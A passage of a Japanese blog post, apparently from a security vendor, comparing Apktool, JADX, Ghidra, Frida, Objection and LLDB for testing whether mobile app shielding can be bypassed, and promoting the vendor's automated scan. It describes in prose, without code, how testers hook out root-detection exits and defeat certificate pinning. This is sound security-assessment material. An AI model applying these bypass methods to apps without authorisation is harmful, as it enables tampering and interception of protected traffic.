&lt;td&gt;AndroidおよびiOSのネイティブコード&lt;/td&gt;
&lt;td&gt;デバッガーのアクセスを確立し、実行、メモリ、レジスタを解釈する&lt;/td&gt;
&lt;td&gt;&lt;a href="https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0084/"&gt;OSの権限や署名の制限&lt;/a&gt;により、シールディングとは無関係にアタッチできないことがある&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="オープンソースツールはシールディングバイパステストにどう組み込まれるか"&gt;オープンソースツールはシールディングバイパステストにどう組み込まれるか&lt;/h2&gt;
&lt;p&gt;オープンソースによるシールディングのテストは、一つのスキャナーに頼るのではなく、複数のツールを組み合わせて行います。ApktoolはAndroidパッケージの調査、改変、再ビルドを支援します。JADXとGhidraは、テスターが保護ロジックを特定し理解するのに役立ちます。Frida、Objection、LLDBは実行時に使われ、それらの保護に揺さぶりをかけて結果を観察します。&lt;/p&gt;
&lt;p&gt;このプロセスは必ずしも直線的ではありません。実行時のテストで何かが判明し、テスターがさらなる解析のためにコードへ戻ることもあります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="オープンソースによる手動ワークフローと、Ostorlabによるモバイルシールディングの自動評価を比較した図" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/how-tools-fit-shielding-assessment.png" title="オープンソースツールではコード解析、実行時テスト、結果の検証を手動で組み合わせるのに対し、Ostorlabは保護の発見、バイパスの試行、エビデンスの収集を自動化します。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;オープンソースツールではコード解析、実行時テスト、結果の検証を手動で組み合わせるのに対し、Ostorlabは保護の発見、バイパスの試行、エビデンスの収集を自動化します。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="apktool:改ざんテストのためのandroidアプリの再ビルド"&gt;Apktool：改ざんテストのためのAndroidアプリの再ビルド&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://apktool.org/"&gt;Apktool&lt;/a&gt;は、Androidのアプリケーションパッケージを、マニフェスト、リソース、Smaliコードを含むプロジェクトのような構造にデコードします。変更を加えた後に、パッケージを再ビルドすることもできます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価における役割&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Apktoolは、シールディングの評価でAPKを改変して再パッケージ化する必要がある場合に役立ちます。テスターは、マニフェスト、リソース、Smaliコードに管理された変更を加え、パッケージを再ビルドしてから、整合性、署名、改ざん防止の保護が改変されたアプリを検知するかどうかを確認できます。&lt;/p&gt;
&lt;p&gt;この役割はJADXとは異なります。JADXは解析のためにDEXコードを読みやすいJava風のコードとして表示するのに対し、Apktoolは編集と再ビルドが可能なパッケージ構造を保持します。OWASPは、Apktoolをバイナリのマニフェストのデコード、リソースの抽出、DEXファイルのSmaliへの逆アセンブル、そしてその結果の再パッケージ化を行う手段として説明しています。&lt;a href="https://mas.owasp.org/MASTG/tools/android/MASTG-TOOL-0011/"&gt;（OWASPのApktoolガイドを参照）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Android APKをデコードし、パッケージの内容を改変し、再ビルドして、アプリの対応を確認するApktoolのワークフロー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/apktool-repackaging-test.png" title="再パッケージ化テストにおけるApktoolのワークフローの例。シールディングが改変を検知したかどうかをテスターが判断するには、再ビルドしたAPKに署名して実行する必要があります。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;再パッケージ化テストにおけるApktoolのワークフローの例。シールディングが改変を検知したかどうかをテスターが判断するには、再ビルドしたAPKに署名して実行する必要があります。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスターに求められること&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;テスターは何を変更するかを決め、該当するマニフェスト、リソース、Smaliファイルを編集し、APKを再ビルドして、インストール前に署名する必要があります。結果には、失敗がどの段階で起きたか、つまりデコード、再ビルド、署名、インストールの最中か、それともアプリの起動後かを記録すべきです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;制約&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ApktoolはAndroidパッケージに限られ、それ自体で実行時の保護をテストするものではありません。生成されるのは署名されていないAPKであるため、署名は別の手順になります。再ビルドしたアプリがインストールや起動に失敗しても、シールディングが改変を検知したことが自動的に実証されるわけではありません。原因は、不正なビルド、署名の問題、パッケージの非互換性である可能性もあります。また、Apktoolのドキュメントには、OEMが改変したビルドツールで作成された一部のAPKはデコードや再ビルドができないと記載されています。&lt;a href="https://apktool.org/docs/2.x/faq/"&gt;Apktool FAQ&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;何を変更するかを決める前に、より上位のAndroidの保護ロジックをたどることが目的であれば、JADXのほうが読みやすいビューを提供します。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="jadx:androidの保護ロジックの調査"&gt;JADX：Androidの保護ロジックの調査&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/skylot/jadx"&gt;JADX&lt;/a&gt;は、AndroidのDEXバイトコードを読みやすいJava風のコードに変換します。テスターはアプリを実行することなく、APK内を検索し、メソッド間を移動し、参照をたどることができます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価における役割&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JADXは、rootチェック、アンチデバッグのロジック、整合性チェック、そしてアプリがどう対応するかを決めるコードの特定に役立ちます。&lt;/p&gt;
&lt;p&gt;対応は、元のチェックとは別の場所で処理されている場合があります。あるメソッドがrootを検知し、別のメソッドが警告を表示するか、アプリを終了するか、機能を制限するかを決めるといった具合です。それらの参照をたどることで、テスターはFridaやデバッガーを使って実行時に調査すべき判断ポイントを特定できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Androidの保護チェックを、その結果に対応するコードまでたどるJADX" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/jadx-protection-check-to-response.png" title="JADXが保護チェックとその結果に基づいて動作するコードをどう結びつけるかを示した例。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;JADXが保護チェックとその結果に基づいて動作するコードをどう結びつけるかを示した例。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスターに求められること&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JADXを使うには、Android開発とリバースエンジニアリングに精通している必要があります。クラス名や制御フローが難読化されている場合は特にそうです。&lt;/p&gt;
&lt;p&gt;逆コンパイルされた出力は、アプリの元のソースコードではなく、バイトコードを解釈したものです。JADXはクラスやメソッドの名前を変更したりインライン化したりすることがあるため、インターフェースに表示される識別子が実行時に遭遇するものと一致しない場合があります。疑わしい出力は、基になるSmaliコードや制御フローグラフと照合すべきです。&lt;a href="https://github.com/skylot/jadx/wiki/Troubleshooting-Q%26A"&gt;JADXのトラブルシューティングガイダンス&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;制約&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JADXはAndroidの解析ツールであり、完全なバイパスソリューションではありません。その&lt;a href="https://github.com/skylot/jadx/wiki/Smali-debugger"&gt;Smaliデバッガー&lt;/a&gt;には、デバッグ可能なアプリ、またはroot化された端末やエミュレーターが必要です。ネイティブライブラリに含まれる保護ロジック、起動時まで暗号化されている保護ロジック、実行時に生成される保護ロジックにも、別のツールが必要です。&lt;/p&gt;
&lt;p&gt;該当するロジックがAndroidのバイトコードからネイティブライブラリへと移る場合は、Ghidraで調査を続けられます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="ghidra:ネイティブの保護コードの解析"&gt;Ghidra：ネイティブの保護コードの解析&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/NationalSecurityAgency/ghidra"&gt;Ghidra&lt;/a&gt;は、Androidの&lt;code&gt;.so&lt;/code&gt;ライブラリやiOSの実行ファイルとフレームワークを含む、コンパイル済みのネイティブコードを解析します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価における役割&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ghidraの逆アセンブラー、逆コンパイラー、文字列検索、関数グラフは、ネイティブの保護コードがどのように動作するかをテスターが再構築するのに役立ちます。Androidでは、JADXがネイティブライブラリへの呼び出しに行き着いたもののその内部で何が起きているかを示せない場合に、解析を引き継ぐことができます。&lt;/p&gt;
&lt;p&gt;関数名が削除されていても、文字列、定数、関数間の参照から、保護チェックと思われる箇所、その判定の分岐、結果としてのアプリの対応が明らかになることがあります。&lt;a href="https://mas.owasp.org/MASTG/tools/generic/MASTG-TOOL-0033/"&gt;OWASPのGhidraガイド&lt;/a&gt;では、バイナリをレビューする際にこれらのビューをどう組み合わせて使うかが説明されています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ネイティブの保護チェック、判定の分岐、アプリの対応を示すGhidraの逆コンパイラーと関数グラフ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/ghidra-native-protection-logic.png" title="実行時テストの指針となり得る、ネイティブのチェック、判定の分岐、対応を示した例。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;実行時テストの指針となり得る、ネイティブのチェック、判定の分岐、対応を示した例。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスターに求められること&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ghidraには、JADXよりも高度なネイティブのリバースエンジニアリングのスキルが求められます。テスターは、関数シグネチャを修正し、逆コンパイルの出力をアセンブリと比較し、値がレジスタやメモリをどう移動するかを理解する必要があるかもしれません。&lt;/p&gt;
&lt;p&gt;通常の目的は、実行時テストのためにチェックや判断ポイントと思われる箇所を特定することです。Ghidraでそれを見つけても、バイパスできることが実証されるわけではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;制約&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;パックまたは暗号化されたコードは、アプリが実行されるまで隠れたままの場合があります。Ghidraのデバッガーは&lt;a href="https://ghidra.re/ghidra_docs/GhidraClass/Debugger/A2-UITour.html"&gt;実行中のプロセスをインポートしたバイナリに対応付け&lt;/a&gt;、実行時のメモリを調べることができますが、テスターはまずデバッグのアクセス権を取得し、該当するコードを特定する必要があります。&lt;/p&gt;
&lt;p&gt;バイパスの疑いがある箇所はすべて、アプリの実行中に再現する必要があります。評価のこの部分には、一般的にFridaが使われます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="frida:独自の実行時計装"&gt;Frida：独自の実行時計装&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://frida.re/docs/home/"&gt;Frida&lt;/a&gt;は、AndroidおよびiOSのプロセスにJavaScriptを注入します。テスターは関数呼び出しを傍受し、その入力と出力を調べ、実行中のアプリの挙動を変更できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価における役割&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Fridaは、保護チェックとそれに対応するコードに揺さぶりをかけるために使われます。最初の検知が引き続き機能している場合でも、保護の挙動を変更できるかどうかをテストできます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0043/"&gt;OWASPのAndroid UnCrackable L1の例&lt;/a&gt;では、アプリはrootを検知し、終了する前に警告を表示します。Fridaのフックが、アプリを終了させる役割を持つ関数を変更します。rootチェックは引き続き実行されますが、アプリはもはや想定された対応を実行しません。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="OWASP UnCrackable L1のroot警告、Fridaのフック、そして終了の対応がバイパスされた後も動作を続けるアプリ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/frida-response-bypass-owasp-example.png" title="OWASP UnCrackable L1の例を再構成した図：root検知は引き続き実行されますが、Fridaのフックがアプリの終了という対応を阻止します。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;OWASP UnCrackable L1の例を再構成した図：root検知は引き続き実行されますが、Fridaのフックがアプリの終了という対応を阻止します。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスターに求められること&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;テスターは該当する関数を特定し、JavaScriptのフックを書くか調整し、狙った挙動が実際に変わったことを検証する必要があります。独自の保護では、チェックと対応がどうつながっているかを理解するために、追加のリバースエンジニアリングが必要になる場合があります。&lt;/p&gt;
&lt;p&gt;テスト環境も重要です。Androidのテストでは一般的にroot化された端末が使われますが、&lt;a href="https://frida.re/docs/android/"&gt;Frida Gadgetを再パッケージ化したアプリに組み込む&lt;/a&gt;こともできます。iOSでは、ジェイルブレイクした端末のほうが広範なアクセスを得られますが、&lt;a href="https://frida.re/docs/ios/"&gt;ジェイルブレイクしていない端末でのテストはデバッグ可能なアプリに限られます&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;制約&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;シールディングやRASPは、意図したテストが始まる前にFridaを検知またはブロックすることがあります。&lt;a href="https://blog.ostorlab.co/mobile-shielding-rasp-detection-enforcement-gap.html"&gt;Ostorlabによる5つの銀行アプリの評価&lt;/a&gt;では、あるアプリは、Fridaスクリプトが最初のログメッセージを出力する前に、注入の最中に終了しました。このような場合、機能する計装セッションを確立すること自体が、調査の別の一部になります。&lt;/p&gt;
&lt;p&gt;一般的なバイパス手法については、既存のFridaのルーチンをすぐに使えるコマンドにまとめたObjectionが、より手早い出発点となります。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="objection:すぐに使えるバイパス機能"&gt;Objection：すぐに使えるバイパス機能&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/sensepost/objection"&gt;Objection&lt;/a&gt;はFridaの上で動作し、一般的なモバイルテストの手法を対話型のコンソールにまとめています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価における役割&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Objectionには、既知のrootおよびジェイルブレイクのチェックのバイパスを試みる、一般的な証明書ピンニングの実装を無効化する、ロードされたクラスを調べる、メソッド呼び出しを監視する、といったコマンドが含まれています。これにより、テスターは独自のFridaスクリプトを書く前に、確立された手法を試すことができます。&lt;/p&gt;
&lt;p&gt;起動時に実行されるチェックには、アプリが完全に起動する前に到達する必要がある場合があります。Objectionは&lt;a href="https://github.com/sensepost/objection/wiki/Early-Instrumentation"&gt;早期計装&lt;/a&gt;をサポートしており、アプリの処理が再開される際にコマンドや独自のFridaスクリプトを読み込むことができます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="モバイルアプリの処理が再開される前に、早期計装のルーチンを読み込むObjection" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/objection-early-instrumentation-example.png" title="起動時のチェックが実行される前にObjectionがルーチンを読み込む例。結果としてのアプリの挙動は、引き続き検証する必要があります。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;起動時のチェックが実行される前にObjectionがルーチンを読み込む例。結果としてのアプリの挙動は、引き続き検証する必要があります。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスターに求められること&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;テスターは、各コマンドが何を変更したか、そして評価対象の保護に実際に到達したかどうかを確認する必要があります。コマンドが正常に完了しても、それが示すのはルーチンが実行されたということだけです。保護がバイパスされたことを立証するものではありません。&lt;/p&gt;
&lt;p&gt;Objectionは、&lt;a href="https://github.com/sensepost/objection/wiki/Patching-Android-Applications"&gt;AndroidアプリにFrida Gadgetをパッチとして適用する&lt;/a&gt;こともできます。これはAPKを再ビルドして再署名するため、テスターは、結果として生じた失敗がバイパスの試行によるものか、整合性チェックや署名チェックによるものかを判断する必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;制約&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Objectionが最も効果を発揮するのは、既存のルーチンがアプリで使われている保護に合致する場合です。独自の保護ロジックがある場合や、アプリが基盤となるFridaセッションをブロックする場合には、有用性が下がります。&lt;/p&gt;
&lt;p&gt;そのような場合、テスターには通常、コード解析と個別に調整したFridaスクリプトが必要になります。調査でネイティブの実行を1命令ずつ追う必要がある場合は、LLDBがより低レベルのビューを提供します。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="lldb:デバッガーによる保護チェックの調査"&gt;LLDB：デバッガーによる保護チェックの調査&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://lldb.llvm.org/use/tutorial.html"&gt;LLDB&lt;/a&gt;を使うと、テスターはネイティブコードを一時停止し、命令単位で進め、レジスタ、メモリ、戻り値を調べることができます。XcodeのデフォルトのデバッガーであるとともにAndroidのネイティブデバッグにも使われています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価における役割&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;テスターは、保護チェックと思われる箇所にブレークポイントを設定し、それが返す値を観察し、アプリがどう対応するかを追うことができます。LLDBは、管理されたテストの中でプロセスの状態を変更することもできます。&lt;/p&gt;
&lt;p&gt;その&lt;a href="https://lldb.llvm.org/use/tutorial.html#setting-watchpoints"&gt;ウォッチポイント&lt;/a&gt;は、保護の結果がどこに格納されているかはわかっているものの、どの関数がそれを更新するのかがまだわからない場合に役立ちます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ブレークポイントと該当する戻り値が表示された状態で、ネイティブの保護チェックで一時停止しているLLDB" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/lldb-runtime-protection-check.png" title="ネイティブコードの実行中に、LLDBが保護の判定を調べる様子を示した例。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;ネイティブコードの実行中に、LLDBが保護の判定を調べる様子を示した例。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスターに求められること&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;リリースビルドには、有用なシンボルがほとんど含まれていないことがよくあります。テスターは、アドレスやその他の調査結果をGhidraから持ち込み、バイナリがメモリにどうマッピングされているかを考慮する必要があるかもしれません。そのためには、アセンブリ、呼び出し規約、レジスタ、ネイティブのプログラムフローの理解が必要です。&lt;a href="https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0084/"&gt;OWASPのiOSデバッグガイダンス&lt;/a&gt;では、リリースビルドにおけるこれらの制約が取り上げられています。&lt;/p&gt;
&lt;p&gt;端末へのアクセスも、LLDBが到達できる範囲に影響します。root化されていないAndroid端末では、&lt;a href="https://developer.android.com/studio/debug"&gt;Android Studioはデバッグ可能なプロセスにしかアタッチできません&lt;/a&gt;。LLDBが扱うのはネイティブ層であり、JavaやKotlinのコードではありません。iOSでは、リリース版のアプリには、適切な端末と、再署名されたビルドまたはその他の方法でデバッグ可能にしたビルドが必要になる場合があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;制約&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;LLDBのアタッチに失敗しても、シールディングがデバッガーを阻止したとは限りません。オペレーティングシステムの権限、署名の要件、アプリのエンタイトルメントによって、保護に到達する前にアタッチが妨げられることがあります。&lt;/p&gt;
&lt;p&gt;テスターは、こうしたセットアップ上の失敗を、アプリ自体がデバッグを明確に検知またはブロックしているケースと切り分ける必要があります。他の実行時ツールと同様に、デバッガーの接続に成功するのは始まりにすぎません。最終的なエビデンスは、テスト中に対象の保護がどう振る舞ったかを示すものでなければなりません。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="ostorlab:モバイルアプリのシールディングテストの自動化"&gt;Ostorlab：モバイルアプリのシールディングテストの自動化&lt;/h2&gt;
&lt;p&gt;Ostorlabの&lt;a href="https://docs.ostorlab.co/tutorials/mobile_shielding_scan.html"&gt;Mobile Shielding Scan&lt;/a&gt;は、保護の発見、バイパスの試行、検証を、AndroidとiOSを対象とした一つの評価にまとめます。テスト環境を管理し、AIエージェントを使って、保護に揺さぶりをかけたときにアプリがどう対応するかを調査します。&lt;/p&gt;
&lt;h3 id="ostorlabが自動化すること"&gt;Ostorlabが自動化すること&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/mobile-application-shielding-threat-models-and-best-practices.html"&gt;評価のワークフロー&lt;/a&gt;は、4つの段階で構成されます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;保護を特定する。&lt;/strong&gt;スキャンは、root・ジェイルブレイク検知、整合性チェック、アンチデバッグ、アンチ計装、証明書ピンニング、コードや文字列の難読化についてアプリケーションを調べます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保護されたワークフローに到達する。&lt;/strong&gt;実機上でアプリを実行し、画面をたどって保護が作動するポイントに到達します。これは、チェックがログイン後や機密性の高い機能を開いたときにのみ実行される場合に重要になります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バイパスを試み、対応を追う。&lt;/strong&gt;保護の種類に応じて、試行には実行時の計装、再パッケージ化、再署名、root化の痕跡の隠蔽、保護ロジックの改変などが含まれます。エージェントはインターフェースとログを調べ、警告、クラッシュ、ブロックされたリクエストなどの対応をもとに、さらなる調査を進めます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;起きたことを記録する。&lt;/strong&gt;検出結果では、攻撃の試行中に持ちこたえた保護と、欠落していた、無効だった、またはバイパスされた保護とを区別します。成功したバイパスには、裏付けとなるエビデンスと再現手順が含まれます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="アプリの起動、計装、バイパスの検証、エビデンスの収集、レポート作成の各タスクが完了したOstorlabの評価" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/Ostorlab-Shielding-assessment-final-validation-result.png" title="評価は、最終検証、エビデンスの収集、レポート作成に至るまで各段階を追跡します。出典：Ostorlabが公開したモバイルシールディングの評価。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;評価は、最終検証、エビデンスの収集、レポート作成に至るまで各段階を追跡します。出典：Ostorlabが公開したモバイルシールディングの評価。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用意するもの&lt;/strong&gt;：APK、AAB、IPA、またはGoogle Play、App Store、TestFlightから選択したアプリケーション。Mobile Shielding Scanのプロファイルを選んだ後、OstorlabのCybermodelsを選択するか、サポートされているAIプロバイダーのキーを持ち込みます。Cybermodelsでは、調査の労力レベルを複数の中から選べます。スキャンが認証後の画面や該当するワークフローに到達できるよう、テスト用の認証情報やナビゲーションの指示を提供することもできます。&lt;a href="https://docs.ostorlab.co/tutorials/mobile_shielding_scan.html"&gt;スキャン設定ガイド&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="検出結果はどのようなものか"&gt;検出結果はどのようなものか&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://docs.ostorlab.co/tutorials/mobile_shielding_scan.html"&gt;結果ダッシュボード&lt;/a&gt;は、検証済みの個々のチェックとあわせて、堅牢化の概要、カテゴリごとの評価、カバレッジの情報を提供します。バイパスを調査するAppSecチームにとって有用な詳細は、特定の保護がどう振る舞ったかを説明するエビデンスです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="未解決の堅牢化のギャップと、検出されたモバイルアプリの保護を示すOstorlabのシールディング結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_Best_tool_for_testing_shielding_bypass/Mobile-shielding-findings.png" title="結果の概要では、未解決の堅牢化のギャップと、評価したビルドで特定された保護とを分けて示します。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;結果の概要では、未解決の堅牢化のギャップと、評価したビルドで特定された保護とを分けて示します。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;その一例が、&lt;a href="https://blog.ostorlab.co/mobile-shielding-rasp-detection-enforcement-gap.html"&gt;Ostorlabが公開した5つの銀行アプリの評価&lt;/a&gt;です。証明書ピンニングを調査するため、スキャンはアプリ自身の証明書チェッカーを2回実行しました。どちらの実行でも同じ証明書、チェッカーのインスタンス、設定済みのピンを使用し、一方の実行ではバイパス用のフックを無効にし、もう一方では有効にしました。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;観察項目&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;フック無効&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;フック有効&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;両方のピンの比較&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;を返した&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;を返した&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;証明書チェッカーの判定&lt;/td&gt;
&lt;td&gt;証明書を拒否し、例外を送出した&lt;/td&gt;
&lt;td&gt;例外なしで証明書を受け入れた&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この管理された変更は、そのテストで実行した証明書チェッカーがバイパスされたことを示しています。エビデンスは、チェック処理を直接呼び出したことから得られたものです。拒否されていたのと同じ入力が、フックが有効なときには受け入れられたのです。&lt;/p&gt;
&lt;p&gt;これにより、チームは調査すべき具体的な失敗と、修正後に再確認すべき具体的な条件を手にできます。つまり、同じバイパスを試みたときに、チェッカーが引き続きその証明書を拒否するかどうかです。&lt;/p&gt;
&lt;h3 id="制約"&gt;制約&lt;/h3&gt;
&lt;p&gt;Ostorlabは商用プラットフォームであるため、有償での利用が必要であり、主に反復可能な評価を実施するセキュリティチームやエンジニアリングチームを対象としています。その代わりに、手動のワークフローではチームが自ら構築・維持しなければならないテスト環境、バイパスの試行、エビデンスの収集を管理します。&lt;/p&gt;
&lt;h2 id="アプリのシールディングバイパスをテストするための適切なアプローチの選び方"&gt;アプリのシールディングバイパスをテストするための適切なアプローチの選び方&lt;/h2&gt;
&lt;p&gt;適切なアプローチは、チームが保護を見つける必要があるのか、アプリの実行中にそれに揺さぶりをかける必要があるのか、それともより広範な評価を自動化する必要があるのかによって決まります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パッケージの改変とコード解析には&lt;/strong&gt;：Android APKのデコード、改変、再ビルドには&lt;strong&gt;Apktool&lt;/strong&gt;を、AndroidのDEXコードの調査には&lt;strong&gt;JADX&lt;/strong&gt;を、AndroidやiOSのネイティブバイナリの調査には&lt;strong&gt;Ghidra&lt;/strong&gt;を使います。これらのツールは再パッケージ化のテストを支援し、保護チェックの特定に役立ちますが、それだけで実行時のバイパスを実証するものではありません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行時のテストには&lt;/strong&gt;：&lt;strong&gt;Objection&lt;/strong&gt;は一般的な保護に対するすぐに使えるルーチンを提供し、&lt;strong&gt;Frida&lt;/strong&gt;は独自のフックを通じてテスターにより細かな制御を与えます。&lt;strong&gt;LLDB&lt;/strong&gt;は、ネイティブの実行を一時停止し、保護の判定を命令単位で追う必要がある調査で役立ちます。&lt;strong&gt;JADX&lt;/strong&gt;や&lt;strong&gt;Ghidra&lt;/strong&gt;から得た知見が、これらの実行時テストの焦点をどこに置くべきかの指針となることがよくあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動テストには&lt;/strong&gt;：Ostorlabは、保護の発見、バイパスの試行、エビデンスの収集を一つの自動化されたワークフローにまとめます。専門家が特定の検出結果をさらに深く調査する必要がある場合には、引き続き手動ツールを併用できます。保護されたAndroidまたはiOSアプリを評価するには、&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;Mobile Shielding Scan&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="root検知、ジェイルブレイク検知、証明書ピンニングがバイパスの試行に耐えるかどうかをテストできるツールは何か"&gt;root検知、ジェイルブレイク検知、証明書ピンニングがバイパスの試行に耐えるかどうかをテストできるツールは何か&lt;/h3&gt;
